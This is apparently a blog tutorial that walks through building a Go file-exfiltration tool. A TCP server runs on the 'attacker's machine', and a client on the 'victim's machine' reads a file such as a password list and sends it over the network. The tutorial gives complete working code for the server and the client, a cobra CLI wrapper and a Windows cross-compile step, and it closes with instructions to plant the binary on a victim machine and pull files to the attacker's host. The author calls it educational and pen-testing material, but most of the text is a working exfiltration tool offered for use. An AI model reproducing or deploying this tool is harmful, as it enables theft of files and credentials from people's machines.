This article will help you to write a Golang program which will transfer files from the remote machine (victim's machine) to your local environment(attacker's machine).
This article is mainly for education purposes and can be used for small pen-testing scenarios as well ( I have used it and it really works). We can use tools like scp
and nc
as well to transfer file data but we here get a chance to do the same natively using Golang.
Plan of Action
- Setting up your workspace
- Create a TCP server which opens a TCP port for data transfer.
- Transfer data using
netcat
to check connectivity. - Concurrently listen to the data being sent.
- Create a client that sends data to the server.
- Modify the client to read a file and send data to the server.
- Create a CLI app using
cobra
to combine client and server in a single application and use arguments to accept file names, hostname or IP address and port to connect. - Make it Windows and Linux suitable. (For you to hack some readable windows file)
Let's begin
Setting up your workspace
First we create a folder called data_exfiltrator
in which our application will reside. Inside this we will create a folder called server
which will contain a file called server.go
.
data_exfiltrator
└── server
└── server.go
TCP server
Now we will create a simple TCP server. For this we are using 127.0.0.1
(localhost) and port 8080 to bind the server
package main
import "fmt"
// constant used for connections
const (
connHost = "127.0.0.1"
connPort = "8080"
connType = "tcp"
)
func main() {
fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)
}
Now we will open a socket so that we can use it as a server. For this we will try the net
package, natively provided to us, by Golang which is used for providing portable interface for network connections. net
package is easy to start with.
When we run net.Listen()
we wish to listen on the network and when we run net.Dial()
we wish to dial the connection to some other program on a network.
For server to server we use net.Listen()
for client to send data we use net.Dial()
.
Right now to create a TCP server we will use net.Listen()
. Now the code will look like
package main
import (
"fmt"
"net"
)
const (
connHost = "127.0.0.1"
connPort = "8080"
connType = "tcp"
)
func main() {
fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)
// starting a server
conn, err := net.Listen(connType, connHost+":"+connPort)
if err != nil {
fmt.Println("Connection error", connHost+":"+connPort)
panic(err.Error())
}
defer conn.Close()
// to continuously listen to connections
fmt.Println("Listening ...")
for {
client, err := conn.Accept()
if err != nil {
panic(err.Error())
}
// To print the client address and port
fmt.Println("Client", client.RemoteAddr().String(), "connected")
// code here for accepting the traffic
}
}
We start the server with conn, err := net.Listen(connType, connHost+":"+connPort)
and use defer
as best practice to safely close the connection.
We run an infinite loop to listen to connections and use
client, err := conn.Accept()
to accept the connections. After this we will code what we need to do with the client
once a connection is accepted.
func main() {
fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)
// starting a server
conn, err := net.Listen(connType, connHost+":"+connPort)
if err != nil {
fmt.Println("Connection error", connHost+":"+connPort)
panic(err.Error())
}
defer conn.Close()
// to continuously listen to connections
fmt.Println("Listening ...")
for {
client, err := conn.Accept()
if err != nil {
panic(err.Error())
}
// To print the client address and port
fmt.Println("Client", client.RemoteAddr().String(), "connected")
// code here for accepting the traffic
buffer, err := bufio.NewReader(client).ReadBytes('\n')
if err != nil {
fmt.Println("Client left")
client.Close()
return
}
fmt.Println("Client message:", string(buffer[:]))
// We close the client just after receiveing one message
client.Close()
}
}
We create a Reader using bufio
package. This will create a reader for us which will read bytes and delimit them at \n
. The message from the client is stored in the buffer
variable as bytes which we convert to string using string(buffer[:])
.
To run and test this, open two terminals -
# First terminal
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
On the second terminal
$ nc localhost 8080
and we will explain rest in the next section
Using nc
or netcat
to transfer the data
Once you run nc
command you will observe that our print statement is able to print out the connection details in the first terminal.
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:40346 connected
Now in the second terminal we can just send the data by typing it
$ nc localhost 8080
hello
When we press enter after typing hello
we can see the same appears over on the terminal one.
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:40984 connected
Client message: hello
You will see that your connection on the terminal gets immediately closed because we are running client.Close()
in the last line of the code. To make it more interactive we will now convert this code to accept connections and handle the connection on some go routines.
Creating goroutine to handle client connections
Every connection to the server will be handled in a goroutine. Its very simple to implement and we will create a special function to do that. The name of the function is handleConnection()
and this function will take the client connection as the parameter and perform the given tasks.
func main() {
fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)
// starting a server
conn, err := net.Listen(connType, connHost+":"+connPort)
if err != nil {
fmt.Println("Connection error", connHost+":"+connPort)
panic(err.Error())
}
defer conn.Close()
// to continuously listen to connections
fmt.Println("Listening ...")
for {
client, err := conn.Accept()
if err != nil {
panic(err.Error())
}
// To print the client address and port
fmt.Println("Client", client.RemoteAddr().String(), "connected")
// code here for accepting the traffic
go handleConnection(client)
}
}
// Function to handle go routine after accepting client
func handleConnection(client net.Conn) {
for {
buffer, err := bufio.NewReader(client).ReadBytes('\n')
if err != nil {
fmt.Println("Client left")
client.Close()
return
}
fmt.Print("Client message:", string(buffer[:]))
}
}
The Client Left
statement is executed in the handleConnection()
function when bufio
reader is not able to read the incoming bytes and this will happen when the client has closed the connection from its side. Now the server will not close the connection immediately as the goroutine is running an infinite loop to receive messages continuously from the client. It will be the client's responsibility to close the connection now.
Terminal 1 - Running the server
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Terminal 2 - Running the nc
client
$ nc localhost 8080
Now we will continuously send the messages from nc
and we can see the same getting reflected in the terminal 1
Terminal 2 - nc
(Type your message and press enter to send the message)
$ nc localhost 8080
hello
how
are
you
Terminal 1 - Your server
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:55404 connected
Client message:hello
Client message:how
Client message:are
Client message:you
When we terminate the nc
command using Ctrl+C then we get a message on server that client has left.
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:55404 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Client left
Now you don't need to restart server for another connection. Just simply create a nc
client and start sending the messages again.
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:55404 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Client left
Client 127.0.0.1:55832 connected
Client message:hello how are you
Here we see the client will get connected again through some different source port.
Create a client that sends data to the server
Now we will remove the need of nc
and create our own client to achieve the same.
For this create a directory called client
and create a file inside it called client.go
package main
import (
"bufio"
"fmt"
"os"
)
// there are server details to which client will connect
const (
connHost = "127.0.0.1"
connPort = "8080"
connType = "tcp"
)
func main() {
reader := bufio.NewReader(os.Stdin)
for {
fmt.Print("Enter text: ")
text, _ := reader.ReadString('\n')
fmt.Printf("Your text is %s", text)
}
}
We have server details that we will use soon to connect our client to the server. Right now we have created a reader that takes input from the os.Stdin
(your terminal) and prints them out in a continuous loop. You can run this program via go run client/client.go
to test if it works for you.
Now we will modify the main
function to send text
to our server and we already discussed to use net.Dial()
for this. So our main
function will become
package main
import (
"bufio"
"fmt"
"net"
"os"
)
// there are server details to which client will connect
const (
connHost = "127.0.0.1"
connPort = "8080"
connType = "tcp"
)
func main() {
// connecting to the server
conn, err := net.Dial(connType, connHost+":"+connPort)
if err != nil {
fmt.Println("Not able to connect to ", connHost, "at port", connPort)
panic(err.Error())
}
defer conn.Close()
// creating a reader
reader := bufio.NewReader(os.Stdin)
for {
fmt.Print("Enter text: ")
text, _ := reader.ReadString('\n')
// Convert the text to bytes and then write the bytes for it send to the connection.
conn.Write([]byte(text))
}
}
We create a block to connect to server and create a reader for reading input from stdin
and then send it by using conn.Write()
function.
To run this we will first run a server in terminal 1 and client in terminal 2.
Terminal - 1
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Terminal - 2
$ go run client/client.go
Enter text:
Enter to send text
Terminal - 2 (client)
$ go run client/client.go
Enter text: hello
Enter text: how
Enter text: are
Enter text: you
Terminal - 1 (server)
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:58480 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Modify the client to read the file
Our main purpose is to exfiltrate text file form the victim's machine to the remote machine, so logically our client should read input from text files rather then os.Stdin
.
For this we will create a text file sample_input.txt
password1
password2
password3
password4
Our directory structure looks like this
$ tree .
.
├── client
│ ├── client.go
│ └── sample_input.txt
└── server
└── server.go
Now our client.go
will be modified to read data from file sample_input.txt
package main
import (
"bufio"
"fmt"
"net"
"os"
)
// there are server details to which client will connect
// we add here the file name to exfiltrate
const (
connHost = "127.0.0.1"
connPort = "8080"
connType = "tcp"
fileName = "client/sample_input.txt"
)
func main() {
// connecting to the server
conn, err := net.Dial(connType, connHost+":"+connPort)
if err != nil {
fmt.Println("Not able to connect to ", connHost, "at port", connPort)
panic(err.Error())
}
defer conn.Close()
// Open the file here
file, err := os.Open(fileName)
defer file.Close()
if err != nil {
fmt.Println("Not able to read file", fileName)
panic(err.Error())
}
// Create a scanner to read the open file
scanner := bufio.NewScanner(file)
for scanner.Scan() {
// We add \n because scanner.Text() removes the ending newline character
conn.Write([]byte(scanner.Text() + "\n"))
}
fmt.Println("File transferred successfully")
}
We add the const
for file location fileName
. To open a file for reading we use the os
library and for reading the text from a file we use the bufio
scanner.
The problem with the Scanner
is that it removes the newline after reading text from the file. That's why we need to add the newline at the end of the text that we are sending to the connection in conn.Write()
statement. Let's test this !
Terminal -1 run your server normally as there are no changes
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Running your client.go
file to send the data
$ go run client/client.go
File transferred successfully
If we see the output in the terminal 1, we will be surprised
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:34706 connected
Client message:password1
Client left
We see that only the first line is being transferred to the server. But why? What happens to the remaining one ?
The problem is because of the speed with which client is sending the data and the speed with which the server is ready to accept it. As the communication is asynchronous the client is never sure that the server has read the previous message. To make client run a bit slow we will add time.Sleep()
for client to sleep for 5 milliseconds.
This is to be done in the scanner.Scan()
loop
<...>
scanner := bufio.NewScanner(file)
for scanner.Scan() {
// We add \n because scanner.Text() removes the ending newline character
conn.Write([]byte(scanner.Text() + "\n"))
// sleeping for 5 milliseconds
time.Sleep(5 * time.Millisecond)
}
<...>
Now running the client.go
in terminal 2
$ go run client/client.go
File transferred successfully
and server in terminal 1
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:35510 connected
Client message:password1
Client message:password2
Client message:password3
Client message:password4
Client left
We are now able to see all the contents of the file. if this still is not giving you correct answer then try increasing the sleep time to 10, 20 or maybe even 50 milliseconds. But isn't this approach still asynchronous. The client is still unaware of whether the data has been read by the server or not.
To make this a complete synchronized process we will ask the server to response a yes
or maybe anything as small as one character to declare that it has read the message and simultaneously ask the client to read (and send ) the next line only after receiving this confirmation.
So to do this will modify the server.go
to write a response in the handleConnection
function
func handleConnection(client net.Conn) {
for {
buffer, err := bufio.NewReader(client).ReadBytes('\n')
if err != nil {
fmt.Println("Client left")
client.Close()
return
}
fmt.Print("Client message:", string(buffer[:]))
// send this as a response to the client
client.Write([]byte("Y"))
}
}
and in the client.go
to read the response we will modify the for loop of scanner.Scan
scanner := bufio.NewScanner(file)
for scanner.Scan() {
// We add \n because scanner.Text() removes the ending newline character
conn.Write([]byte(scanner.Text() + "\n"))
// declare a byte variable
var b = make([]byte, 2, 3)
// read the response here
conn.Read(b)
}
We declare a variable and read the response in that variable. Once this is done we will begin reading next line.
Running this from terminal - 2 for client
$ go run client/client.go
File transferred successfully
From terminal - 1 for server
$ go run server/server.go
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:36584 connected
Client message:password1
Client message:password2
Client message:password3
Client message:password4
Client left
Now our entire process is synchronous.
Now if you want you can stop here and modify the host and port to make it workable for your needs. Launch the server in your local and run the client program on the victim machine. Obviously there are high chances that you might not be able to run the go program in the victim machine directly using the go
command so you need to convert it into an executable. For this you can run the following command -
$ cd client
$ go build client.go
This will create a binary that you can distribute to the victim and transfer the text files from there.
If you want to transform the entire thing into a complete tool then follow along to see how we convert server and client to a single application and use arguments for host, port and file paths.
Using cobra for CLI modifications.
Before diving into this our purpose in this sub-section is to create a tool which run server like this
./data_exfiltrator server --host 192.168.56.1 --port 8080 -o output.txt
and for the client to exfiltrate password.txt
./data_exfiltrator client --host 192.168.56.1 --port 8080 -f password.txt
For this we will use cobra
which is used by lot of open-source projects like kubernetes
.
For getting started this is our current folder
$ pwd
~/data_exfiltrator
and the directory structure is
$ tree .
.
├── client
│ ├── client.go
│ └── sample_input.txt
└── server
└── server.go
First we need to create a module which we can done by running
$ go mod init example.com/data_exfiltrator
go: creating new go.mod: module example.com/data_exfiltrator
go: to add module requirements and sums:
go mod tidy
# It will create a go.mod file
$ ls -lrt
total 12
drwxr-xr-x 2 kai kai 4096 Jan 21 23:51 server
drwxr-xr-x 2 kai kai 4096 Jan 23 21:29 client
-rw-r--r-- 1 kai kai 45 Jan 23 21:31 go.mod
To install cobra we need to install its module. Preferably run this from ~/data_exfiltrator
directory.
$ go get -u github.com/spf13/cobra
This will install the module dependency in the go.mod
file and go.sum
file for checksums
Now we need to set out our PATH
variable to take binaries inside the path GOBIN
as well . To get the GOBIN
$ go env | grep GOBIN
If the GOBIN
is empty for you search for GOPATH/bin
and add this to your path variable.
To check this run
$ cobra help
If this runs successfully then cobra is rightly installed.
Now we will use cobra to initialize our client APP. The command to do that is
$ cobra init
This will initialize your application and you will see lot of files created.
$ tree .
.
├── client
│ ├── client.go
│ └── sample_input.txt
├── cmd
│ └── root.go
├── go.mod
├── go.sum
├── LICENSE
├── main.go
└── server
└── server.go
Firstly, cobra
creates main.go
from where our application will begin. Secondly, it creates cmd
file which contains root.go
. This is the file which will be executed from main.go
and will contain what we need to do when we run main.go
.
We wish to add sub-commands like client
and server
as described earlier. For this we can run
$ cobra add client
$ cobra add server
This will modify the cmd
directory to add two more files named client.go
and server.go
.
$ tree .
.
├── client
│ ├── client.go
│ └── sample_input.txt
├── cmd
│ ├── client.go
│ ├── root.go
│ └── server.go
├── go.mod
├── go.sum
├── LICENSE
├── main.go
└── server
└── server.go
Our server and client files reside in server/server.go
and client/client.go
which are different from the server.go
and client.go
created by cobra
in cmd
directory.
When we will run go run main.go client
then the cmd/client.go
will be invoked and when we will execute go run main.go server
then the cmd/server.go
will be invoked.
Right now if we observe our client/client.go
and server/server.go
are part of main
package. We can't use main
as package for them because we don't want to create separate binaries for them, so we will convert client/client.go
to become package client
and for server/server.go
we will use package name server
. To do this just simply change their package names from main
to client
or server
accordingly.
Now as we are running these file separately so we will remove the main
function and create different functions for them.
For client/client.go
package client
import (
"bufio"
"fmt"
"net"
"os"
)
const connType = "tcp"
func checkFile(file string) error {
_, err := os.Stat(file)
return err
// check file permissions as well
}
func ExfiltrateFile(fileName, connHost, connPort string) error {
// stat file
if checkFile(fileName) != nil {
return fmt.Errorf("FileNotFound: Not able to find the file %s", fileName)
}
// check connection
fmt.Printf("Connecting %s:%s over %s\n", connHost, connPort, connType)
conn, err := net.Dial(connType, connHost+":"+connPort)
if err != nil {
fmt.Println(err.Error())
return fmt.Errorf("HostNotReachable: Not able to connect %s:%s", connHost, connPort)
}
defer conn.Close()
//transfer file
file, err := os.Open(fileName)
if err != nil {
return fmt.Errorf("FilePermission: Not able to read file %s", fileName)
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
var b = make([]byte, 2, 3)
// We add \n because scanner.Text() removes the ending newline character
conn.Write([]byte(scanner.Text() + "\n"))
// Wait for the server message to indicate that the line is written
conn.Read(b)
}
return nil
}
As we notice in the above file we don't have main function, rather we are using ExfiltrateFile
as the function which takes fileName
, connHost
and connPort
as arguments.
Now try to understand what we are doing here. We will pass option from the shell to accept file names, host and port. They will be passed in the root.go
. root.go
will determine what subcommand we are using, client
or server
by the command we have typed. Suppose if we are running client
sub-command then cmd/client.go
will be invoked with the appropriate flags (file names, host and port passed from shell). Once cmd/client.go
get these flags, it will call ExfiltrateFile()
function from client/client.go
and pass these flags as arguments. The ExfiltrateFile()
function will run the the client logic we built earlier.
This also goes for server/server.go
package server
import (
"bufio"
"fmt"
"net"
"os"
)
const (
connType = "tcp"
)
func Serve(fileName, connHost, connPort string) error {
fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)
conn, err := net.Listen(connType, connHost+":"+connPort)
if err != nil {
return fmt.Errorf("ConnectionError: Not able to connect %s", connHost+":"+connPort)
}
defer conn.Close()
// running the loop for listening all the connections
fmt.Println("Listening ... ")
for {
// Start accepting the connections
client, err := conn.Accept()
if err != nil {
panic(err.Error())
}
fmt.Println("Client", client.RemoteAddr().String(), "connected")
go handleClientConnection(client, fileName)
fmt.Println("You can press Ctrl+c to terminate the program")
}
}
func handleClientConnection(conn net.Conn, fileName string) {
// handling buffer writes
// it take the connection and then creates the buffer
file, err := os.Create(fileName)
if err != nil {
panic(err)
}
defer close(file)
for {
buffer, err := bufio.NewReader(conn).ReadBytes('\n')
if err != nil {
fmt.Println("Client left")
conn.Close()
return
}
file.WriteString(string(buffer[:]))
// Sending a reply back to client for synchronous connection
conn.Write([]byte("Y\n"))
}
}
func close(file *os.File) {
fmt.Println("Closing the file")
fmt.Println()
fmt.Println("Listening ... (press Ctrl+c to terminate)")
file.Close()
}
Here we use the Serve
function to start a TCP server by accepting file name, host and port as parameters
If we carefully observe the handleConnection
function then we are now outputting everything to a file and not to the console. This file name is received from the --output
or -o
option in the cmd/server.go
file.
Now our client and server logic is ready to be used. We just need to modify the cmd/client.go
and cmd/server.go
to pass the flags to the client
and server
accordingly.
So the cmd/client.go
is
package cmd
import (
"log"
"github.com/dunefro/data_exfiltrator/client"
"github.com/spf13/cobra"
)
// clientCmd represents the client command
var clientCmd = &cobra.Command{
Use: "client",
Short: "to run the client",
Long: `Running the client for data exfiltrator`,
Run: func(cmd *cobra.Command, args []string) {
fileName, _ := cmd.Flags().GetString("file")
host, _ := cmd.Flags().GetString("host")
port, _ := cmd.Flags().GetString("port")
err := client.ExfiltrateFile(fileName, host, port)
if err != nil {
log.Println("Failed to transfer the file")
log.Fatal(err.Error())
} else {
log.Println("Successful: File was transferred")
}
},
}
func init() {
rootCmd.AddCommand(clientCmd)
// defining flags for client
clientCmd.PersistentFlags().StringP("file", "f", "", "file(text) name which you want to transfer (required)")
clientCmd.MarkPersistentFlagRequired("file")
clientCmd.PersistentFlags().StringP("host", "", "127.0.0.1", "host that you wish to connect")
clientCmd.PersistentFlags().StringP("port", "p", "8080", "port that you wish to connect")
}
In the init()
function we have flags that are available with the client
sub-command. These are file
, host
and port
which can be invoked with --
for shell arguments. We have only marked one of the options as mandatory with client
sub-command i.e. file
. Logically the client must pass some file to exfiltrate. If host
and port
are not specified then we will use default value 127.0.0.1
and 8080
. This is mentioned in the 3rd argument of each flag. We can use the small option p
for port as -p
.
Once this is initialized the function in the Run
will be executed and we can get all the values passed for each argument in the command invoked by using cmd.Flags()
. So
fileName, _ := cmd.Flags().GetString("file")
host, _ := cmd.Flags().GetString("host")
port, _ := cmd.Flags().GetString("port")
This gives the value of fileName
, host
and port
passed in the command. Once we have them we invoke the ExfiltrateFile()
function from the client/client.go
which we have imported in the cmd/client.go
by
"example.com/data_exfiltrator/client"
and so now to call the exfiltrate function
client.ExfiltrateFile(fileName, host, port)
This happens for server.go
as well
package cmd
import (
"fmt"
"example.com/data_exfiltrator/server"
"github.com/spf13/cobra"
)
// serverCmd represents the server command
var serverCmd = &cobra.Command{
Use: "server",
Short: "creating server",
Long: `This will create a server at a specified port for connection and output to directed file`,
Run: func(cmd *cobra.Command, args []string) {
fileName, _ := cmd.Flags().GetString("output")
host, _ := cmd.Flags().GetString("host")
port, _ := cmd.Flags().GetString("port")
err := server.Serve(fileName, host, port)
if err != nil {
fmt.Println(err.Error())
}
},
}
func init() {
rootCmd.AddCommand(serverCmd)
// defining flags
serverCmd.PersistentFlags().StringP("output", "o", "", "output(text file) to transfer the data (required)")
serverCmd.MarkPersistentFlagRequired("output")
serverCmd.PersistentFlags().StringP("host", "", "127.0.0.1", "host that you wish to connect")
serverCmd.PersistentFlags().StringP("port", "p", "8080", "port that you wish to connect")
}
For the serve
sub-command we are using output
as the option for outputting what we receive from the client. This is a compulsory option and must be passed when invoking server
sub-command. We have host
and port
similar to client
sub-command. We call the server function by -
server.Serve(fileName, host, port)
and pass the output file, host and port.
Finally the root.go
will be
package cmd
import (
"os"
"github.com/spf13/cobra"
)
// rootCmd represents the base command when called without any subcommands
var rootCmd = &cobra.Command{
Use: "data_exfiltrator [command]",
Short: "Exfiltrate your files from one location to another",
Long: `Application to build data exfiltrator`,
// Uncomment the following line if your bare application
// has an action associated with it:
// Run: func(cmd *cobra.Command, args []string) { },
}
// Execute adds all child commands to the root command and sets flags appropriately.
// This is called by main.main(). It only needs to happen once to the rootCmd.
func Execute() {
err := rootCmd.Execute()
if err != nil {
os.Exit(1)
}
}
func init() {
// Here you will define your flags and configuration settings.
// Cobra supports persistent flags, which, if defined here,
// will be global for your application.
// rootCmd.PersistentFlags().StringVar(&cfgFile, "config", "", "config file (default is $HOME/.data_exfiltrator.yaml)")
// Cobra also supports local flags, which will only run
// when this action is called directly.
// rootCmd.Flags().BoolP("toggle", "t", false, "Help message for toggle")
// Add version here
}
For root.go
we have disabled the Run
flag to hold any function. This is because we don't want to do anything until a sub-command like client
or server
is passed to it.
So now we will build everything and test. To build
$ go build
This will create a binary called data_exfiltrator
. Run this binary simply by
$ ./data_exfiltrator
Application to build data exfiltrator
Usage:
data_exfiltrator [command]
Available Commands:
client to run the client
completion Generate the autocompletion script for the specified shell
help Help about any command
server creating server
Flags:
-h, --help help for data_exfiltrator
Use "data_exfiltrator [command] --help" for more information about a command.
We will try to run a server
$ ./data_exfiltrator server -o something.txt --host 192.168.56.178 --port 8080
Starting tcp server on 192.168.56.178:8080
Listening ...
Now we will try to run the client
$ ./data_exfiltrator client
Error: required flag(s) "file" not set
Usage:
data_exfiltrator client [flags]
Flags:
-f, --file string file(text) name which you want to transfer (required)
-h, --help help for client
--host string host that you wish to connect (default "127.0.0.1")
-p, --port string port that you wish to connect (default "8080")
This will fail because as we have mentioned we need to pass the option --file
for this, so
$ ./data_exfiltrator client -f client/sample_input.txt --host 192.168.56.178 --port 8080
Connecting 192.168.56.178:8080 over tcp
2022/01/23 22:43:27 Successful: File was transferred
The terminal 1 where server ran is now showing
$ ./data_exfiltrator server -o something.txt --host 192.168.56.178 --port 8080
Starting tcp server on 192.168.56.178:8080
Listening ...
Client 192.168.56.178:34154 connected
You can press Ctrl+c to terminate the program
Client left
Closing the file
Listening ... (press Ctrl+c to terminate)
Press Ctrl+C to check the file something.txt
$ cat something.txt
password1
password2
password3
password4
The file is exfiltrated.
Making it Windows and Linux suitable
During exfiltration my main issue was that I was not able to run some program on windows which I was easily able to run on Linux. As Golang provides us with this ability I built the same binary for windows as well.
Let's check how to do that -
To make the file windows specific
$ GOOS=windows GOARCH=amd64 go build .
This will create a file called data_exfiltrator.exe
which you can now run on windows.
Generally the scenario is to hack files from windows and hackers have Linux as their own host. That's why having data_exfiltrator.exe
and data_exfiltrator
will be very helpful because we can now mix and match the use cases to a wide range.
How to use the above file
- Once you have built the binary, go over to the victim machine, and keep this binary over there. if it's windows then copy the windows binary for the same.
- On your local machine run the server by
./data_exfiltrator server --ouput <outputfile> --host <yourIP> --port <yourPort>
command. If you local is also windows then run./data_exilftrator.exe server
with similar flags. - Now on the victim side run
./data_exfiltrator.exe client -f <filetohack> --host <serverhost> --port <serverport>
- You will get the
<filetohack>
file in your local with the name<outputfile>
.
Conclusion
The above program if read in a single take might become a nightmare to perform that's why I made it a point to distribute it in lot of small chunks. The main takeaway is to understand the logic of socket programming and how to create a CLI application in Golang.
To get the complete source code you can refer to GITHUB. Let me know what do you think about this.
Top comments (0)